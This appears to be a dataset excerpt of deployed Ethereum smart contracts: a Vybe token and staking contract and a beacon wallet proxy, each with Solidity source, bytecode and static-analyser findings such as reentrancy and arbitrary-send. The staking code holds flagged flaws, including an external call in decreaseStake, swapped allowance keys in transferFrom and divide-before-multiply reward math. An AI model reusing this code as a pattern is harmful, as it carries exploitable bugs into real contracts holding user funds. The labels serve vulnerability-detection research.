4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122000aca793bf6c70d685ac3d7f2ab1a147abd1c6993393b855937588cecc28448864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,466
0x2162481a5bc52d5243eca6402d9a8d580a4f24c7
pragma solidity 0.7.0; interface IOwnershipTransferrable { function transferOwnership(address owner) external; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } abstract contract Ownable is IOwnershipTransferrable { address private _owner; constructor(address owner) { _owner = owner; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) override external onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract ReentrancyGuard { bool private _entered; modifier noReentrancy() { require(!_entered); _entered = true; _; _entered = false; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Vybe is Ownable { using SafeMath for uint256; uint256 constant UINT256_MAX = ~uint256(0); string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() Ownable(msg.sender) { _name = "Vybe"; _symbol = "VYBE"; _decimals = 18; _totalSupply = 2000000 * 1e18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint8) { return _decimals; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); if (_allowances[msg.sender][sender] != UINT256_MAX) { _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); } return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function mint(address account, uint256 amount) external onlyOwner { _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external returns (bool) { _balances[msg.sender] = _balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(msg.sender, address(0), amount); return true; } } contract VybeStake is ReentrancyGuard, Ownable { using SafeMath for uint256; uint256 constant UINT256_MAX = ~uint256(0); uint256 constant MONTH = 30 days; Vybe private _VYBE; bool private _dated; bool private _migrated; uint256 _deployedAt; uint256 _totalStaked; mapping (address => uint256) private _staked; mapping (address => uint256) private _lastClaim; address private _developerFund; event StakeIncreased(address indexed staker, uint256 amount); event StakeDecreased(address indexed staker, uint256 amount); event Rewards(address indexed staker, uint256 mintage, uint256 developerFund); event MelodyAdded(address indexed melody); event MelodyRemoved(address indexed melody); constructor(address vybe) Ownable(msg.sender) { _VYBE = Vybe(vybe); _developerFund = msg.sender; _deployedAt = block.timestamp; } function upgradeDevelopmentFund(address fund) external onlyOwner { _developerFund = fund; } function vybe() external view returns (address) { return address(_VYBE); } function totalStaked() external view returns (uint256) { return _totalStaked; } function migrate(address previous, address[] memory people, uint256[] memory lastClaims) external onlyOwner { require(!_migrated); require(people.length == lastClaims.length); for (uint i = 0; i < people.length; i++) { uint256 staked = VybeStake(previous).staked(people[i]); _staked[people[i]] = staked; _lastClaim[people[i]] = lastClaims[i]; emit StakeIncreased(people[i], staked); } require(_VYBE.transferFrom(previous, address(this), _VYBE.balanceOf(previous))); _migrated = true; } function staked(address staker) external view returns (uint256) { return _staked[staker]; } function lastClaim(address staker) external view returns (uint256) { return _lastClaim[staker]; } function increaseStake(uint256 amount) external { require(!_dated); require(_VYBE.transferFrom(msg.sender, address(this), amount)); _totalStaked = _totalStaked.add(amount); _lastClaim[msg.sender] = block.timestamp; _staked[msg.sender] = _staked[msg.sender].add(amount); emit StakeIncreased(msg.sender, amount); } function decreaseStake(uint256 amount) external { _staked[msg.sender] = _staked[msg.sender].sub(amount); _totalStaked = _totalStaked.sub(amount); require(_VYBE.transfer(address(msg.sender), amount)); emit StakeDecreased(msg.sender, amount); } function calculateSupplyDivisor() public view returns (uint256) { // base divisior for 5% uint256 result = uint256(20) .add( // get how many months have passed since deployment block.timestamp.sub(_deployedAt).div(MONTH) // multiply by 5 which will be added, tapering from 20 to 50 .mul(5) ); // set a cap of 50 if (result > 50) { result = 50; } return result; } function _calculateMintage(address staker) private view returns (uint256) { // total supply uint256 share = _VYBE.totalSupply() // divided by the supply divisor // initially 20 for 5%, increases to 50 over months for 2% .div(calculateSupplyDivisor()) // divided again by their stake representation .div(_totalStaked.div(_staked[staker])); // this share is supposed to be issued monthly, so see how many months its been uint256 timeElapsed = block.timestamp.sub(_lastClaim[staker]); uint256 mintage = 0; // handle whole months if (timeElapsed > MONTH) { mintage = share.mul(timeElapsed.div(MONTH)); timeElapsed = timeElapsed.mod(MONTH); } // handle partial months, if there are any // this if check prevents a revert due to div by 0 if (timeElapsed != 0) { mintage = mintage.add(share.div(MONTH.div(timeElapsed))); } return mintage; } function calculateRewards(address staker) public view returns (uint256) { // removes the five percent for the dev fund return _calculateMintage(staker).div(20).mul(19); } // noReentrancy shouldn't be needed due to the lack of external calls // better safe than sorry function claimRewards() external noReentrancy { require(!_dated); uint256 mintage = _calculateMintage(msg.sender); uint256 mintagePiece = mintage.div(20); require(mintagePiece > 0); // update the last claim time _lastClaim[msg.sender] = block.timestamp; // mint out their staking rewards and the dev funds _VYBE.mint(msg.sender, mintage.sub(mintagePiece)); _VYBE.mint(_developerFund, mintagePiece); emit Rewards(msg.sender, mintage, mintagePiece); } function addMelody(address melody) external onlyOwner { _VYBE.approve(melody, UINT256_MAX); emit MelodyAdded(melody); } function removeMelody(address melody) external onlyOwner { _VYBE.approve(melody, 0); emit MelodyRemoved(melody); } function upgrade(address owned, address upgraded) external onlyOwner { _dated = true; IOwnershipTransferrable(owned).transferOwnership(upgraded); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063eedad66b11610066578063eedad66b14610266578063f2397f3e14610283578063f2fde38b146102a9578063f3177079146102cf57610100565b80638da5cb5b146101ed57806398807d84146101f557806399a88ec41461021b578063e8b96de11461024957610100565b806364ab8675116100d357806364ab8675146101755780636b1dd7fd1461019b5780636de3ac3f146101bf578063817b1cd2146101e557610100565b80632da8913614610105578063372500ab1461012d5780634c885c02146101355780635c16e15e1461014f575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610406565b005b61012b610513565b61013d6106b9565b60408051918252519081900360200190f35b61013d6004803603602081101561016557600080fd5b50356001600160a01b0316610708565b61013d6004803603602081101561018b57600080fd5b50356001600160a01b0316610723565b6101a361073e565b604080516001600160a01b039092168252519081900360200190f35b61012b600480360360208110156101d557600080fd5b50356001600160a01b031661074d565b61013d6107ce565b6101a36107d4565b61013d6004803603602081101561020b57600080fd5b50356001600160a01b03166107e8565b61012b6004803603604081101561023157600080fd5b506001600160a01b0381358116916020013516610803565b61012b6004803603602081101561025f57600080fd5b50356108cf565b61012b6004803603602081101561027c57600080fd5b50356109cb565b61012b6004803603602081101561029957600080fd5b50356001600160a01b0316610af4565b61012b600480360360208110156102bf57600080fd5b50356001600160a01b0316610c00565b61012b600480360360608110156102e557600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561031057600080fd5b82018360208201111561032257600080fd5b8035906020019184602083028401116401000000008311171561034457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561039457600080fd5b8201836020820111156103a657600080fd5b803590602001918460208302840111640100000000831117156103c857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d0a945050505050565b60005461010090046001600160a01b03163314610458576040805162461bcd60e51b81526020600482018190526024820152600080516020611239833981519152604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b038481166004830152600060248301819052925193169263095ea7b392604480840193602093929083900390910190829087803b1580156104b057600080fd5b505af11580156104c4573d6000803e3d6000fd5b505050506040513d60208110156104da57600080fd5b50506040516001600160a01b038216907f3161d766eb7d07d5e1ceea9abc5160636a3ec586a0f95a0c0cf367af6706d0b790600090a250565b60005460ff161561052357600080fd5b6000805460ff1916600190811790915554600160a01b900460ff161561054857600080fd5b600061055333611036565b9050600061056282601461117e565b90506000811161057157600080fd5b3360008181526005602052604090204290556001546001600160a01b0316906340c10f19906105a085856111a0565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b5050600154600654604080516340c10f1960e01b81526001600160a01b0392831660048201526024810187905290519190921693506340c10f199250604480830192600092919082900301818387803b15801561065657600080fd5b505af115801561066a573d6000803e3d6000fd5b5050604080518581526020810185905281513394507f61953b03ced70bb23c53b5a7058e431e3db88cf84a72660faea0849b785c43bd93509081900390910190a250506000805460ff19169055565b6000806106f46106ec60056106e662278d006106e0600254426111a090919063ffffffff16565b9061117e565b906111b5565b6014906111e3565b90506032811115610703575060325b905090565b6001600160a01b031660009081526005602052604090205490565b600061073860136106e660146106e086611036565b92915050565b6001546001600160a01b031690565b60005461010090046001600160a01b0316331461079f576040805162461bcd60e51b81526020600482018190526024820152600080516020611239833981519152604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60035490565b60005461010090046001600160a01b031690565b6001600160a01b031660009081526004602052604090205490565b60005461010090046001600160a01b03163314610855576040805162461bcd60e51b81526020600482018190526024820152600080516020611239833981519152604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790556040805163f2fde38b60e01b81526001600160a01b03838116600483015291519184169163f2fde38b9160248082019260009290919082900301818387803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b505050505050565b336000908152600460205260409020546108e990826111a0565b3360009081526004602052604090205560035461090690826111a0565b6003556001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561095d57600080fd5b505af1158015610971573d6000803e3d6000fd5b505050506040513d602081101561098757600080fd5b505161099257600080fd5b60408051828152905133917f700865370ffb2a65a2b0242e6a64b21ac907ed5ecd46c9cffc729c177b2b1c69919081900360200190a250565b600154600160a01b900460ff16156109e257600080fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a3c57600080fd5b505af1158015610a50573d6000803e3d6000fd5b505050506040513d6020811015610a6657600080fd5b5051610a7157600080fd5b600354610a7e90826111e3565b6003553360009081526005602090815260408083204290556004909152902054610aa890826111e3565b33600081815260046020908152604091829020939093558051848152905191927f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d92918290030190a250565b60005461010090046001600160a01b03163314610b46576040805162461bcd60e51b81526020600482018190526024820152600080516020611239833981519152604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b03848116600483015260001960248301529151919092169163095ea7b39160448083019260209291908290030181600087803b158015610b9d57600080fd5b505af1158015610bb1573d6000803e3d6000fd5b505050506040513d6020811015610bc757600080fd5b50506040516001600160a01b038216907fb87d41b5cab885fb2ce4b4c06efc62eea320378130b36c709de7d45facaa1bc890600090a250565b60005461010090046001600160a01b03163314610c52576040805162461bcd60e51b81526020600482018190526024820152600080516020611239833981519152604482015290519081900360640190fd5b6001600160a01b038116610c975760405162461bcd60e51b81526004018080602001828103825260268152602001806112136026913960400191505060405180910390fd5b600080546040516001600160a01b038085169361010090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b60005461010090046001600160a01b03163314610d5c576040805162461bcd60e51b81526020600482018190526024820152600080516020611239833981519152604482015290519081900360640190fd5b600154600160a81b900460ff1615610d7357600080fd5b8051825114610d8157600080fd5b60005b8251811015610f0d576000846001600160a01b03166398807d84858481518110610daa57fe5b60200260200101516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610def57600080fd5b505afa158015610e03573d6000803e3d6000fd5b505050506040513d6020811015610e1957600080fd5b505184519091508190600490600090879086908110610e3457fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828281518110610e6c57fe5b602002602001015160056000868581518110610e8457fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550838281518110610ebc57fe5b60200260200101516001600160a01b03167f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d826040518082815260200191505060405180910390a250600101610d84565b50600154604080516370a0823160e01b81526001600160a01b038681166004830152915191909216916323b872dd918691309185916370a08231916024808301926020929190829003018186803b158015610f6757600080fd5b505afa158015610f7b573d6000803e3d6000fd5b505050506040513d6020811015610f9157600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b158015610fe957600080fd5b505af1158015610ffd573d6000803e3d6000fd5b505050506040513d602081101561101357600080fd5b505161101e57600080fd5b50506001805460ff60a81b1916600160a81b17905550565b6001600160a01b03811660009081526004602052604081205460035482916110ec916110619161117e565b6106e061106c6106b9565b600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110ba57600080fd5b505afa1580156110ce573d6000803e3d6000fd5b505050506040513d60208110156110e457600080fd5b50519061117e565b6001600160a01b038416600090815260056020526040812054919250906111149042906111a0565b9050600062278d0082111561114c5761113a6111338362278d0061117e565b84906111b5565b90506111498262278d006111f5565b91505b81156111765761117361116c61116562278d008561117e565b859061117e565b82906111e3565b90505b949350505050565b600080821161118c57600080fd5b600082848161119757fe5b04949350505050565b6000828211156111af57600080fd5b50900390565b6000826111c457506000610738565b828202828482816111d157fe5b04146111dc57600080fd5b9392505050565b6000828201838110156111dc57600080fd5b60008161120157600080fd5b81838161120a57fe5b06939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220073f41727169d1a975ba58c1557f56e39ec7f59a84a633f31d6d13d981ee934364736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,467
0x233d35e94e5090bd95c65ca6b3ac5f2f9b5cdbe0
/** *Submitted for verification at Etherscan.io on 2022-01-23 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } abstract contract MinimalBeaconProxy is Proxy { bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Sets the `beacon` for this contract. */ constructor(address beacon) { assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1)); _setBeacon(beacon); } /** * @dev Returns the `implementation` stored at the beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_getBeacon()).implementation(); } /** * @dev Returns the `beacon` for beacon proxy pattern. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Sets the new beacon `newBeacon`. */ function _setBeacon(address newBeacon) internal { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } } abstract contract WalletProxyBase is MinimalBeaconProxy { bytes32 internal constant _DAO_SLOT = 0x2a6cb721c141aca9a9ad80925a738db49772cafe7da767ae62299908d3d32d1c; bytes32 internal constant _MERGE_SLOT = 0x60ab9511b01b1ee756a19d64d798acec49593fec7b00c39ea6c9e8c0b459fa93; bytes32 internal constant _MANAGER_SLOT = 0x25b56d42a36e6932800bdf5cc9c56e8775f5792d702c21c4ef9a0c40a93bb009; /** * @dev Sets `DAO_`, `merge_`, and `manager_`. */ constructor(address DAO_, address merge_, address manager_) { assert(_DAO_SLOT == bytes32(uint256(keccak256("eip1967.proxy.dao")) - 1)); assert(_MERGE_SLOT == bytes32(uint256(keccak256("eip1967.proxy.merge")) - 1)); assert(_MANAGER_SLOT == bytes32(uint256(keccak256("eip1967.proxy.manager")) - 1)); _setDAO(DAO_); _setMerge(merge_); _setManager(manager_); } /** * @dev Sets the new DAO address `newDAO`. */ function _setDAO(address DAO) internal { require(Address.isContract(DAO), "ERC1967: DAO is not a multisig wallet"); StorageSlot.getAddressSlot(_DAO_SLOT).value = DAO; } /** * @dev Returns the DAO address. */ function _getDAO() internal view returns (address) { return StorageSlot.getAddressSlot(_DAO_SLOT).value; } /** * @dev Sets the `newMerge` contract address. */ function _setMerge(address merge) internal { require(Address.isContract(merge), "ERC1967: merge is not a smart contract."); StorageSlot.getAddressSlot(_MERGE_SLOT).value = merge; } /** * @dev Returns the Merge contract address. */ function _getMerge() internal view returns (address) { return StorageSlot.getAddressSlot(_MERGE_SLOT).value; } /** * @dev Sets the new manager `manager` address. */ function _setManager(address manager) internal { require(Address.isContract(manager), "ERC1967: Manager is not a smart contract."); StorageSlot.getAddressSlot(_MANAGER_SLOT).value = manager; } /** * @dev Returns the new manager address. */ function _getManager() internal view returns (address) { return StorageSlot.getAddressSlot(_MANAGER_SLOT).value; } } contract WalletProxy is WalletProxyBase { constructor(address beacon, address DAO, address merge, address manager) WalletProxyBase(DAO, merge, manager) MinimalBeaconProxy(beacon) {} }
0x60806040523661001357610011610017565b005b6100115b610027610022610032565b6100da565b565b3b151590565b90565b60006100657fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561009d57600080fd5b505afa1580156100b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100d591906100fe565b905090565b3660008037600080366000845af43d6000803e8080156100f9573d6000f35b3d6000fd5b60006020828403121561011057600080fd5b81516001600160a01b038116811461012757600080fd5b939250505056fea26469706673582212207a3802bddcf92d11bc7a589158f6fd46974a5bb288681d5f81a5980621e41cb864736f6c63430008090033
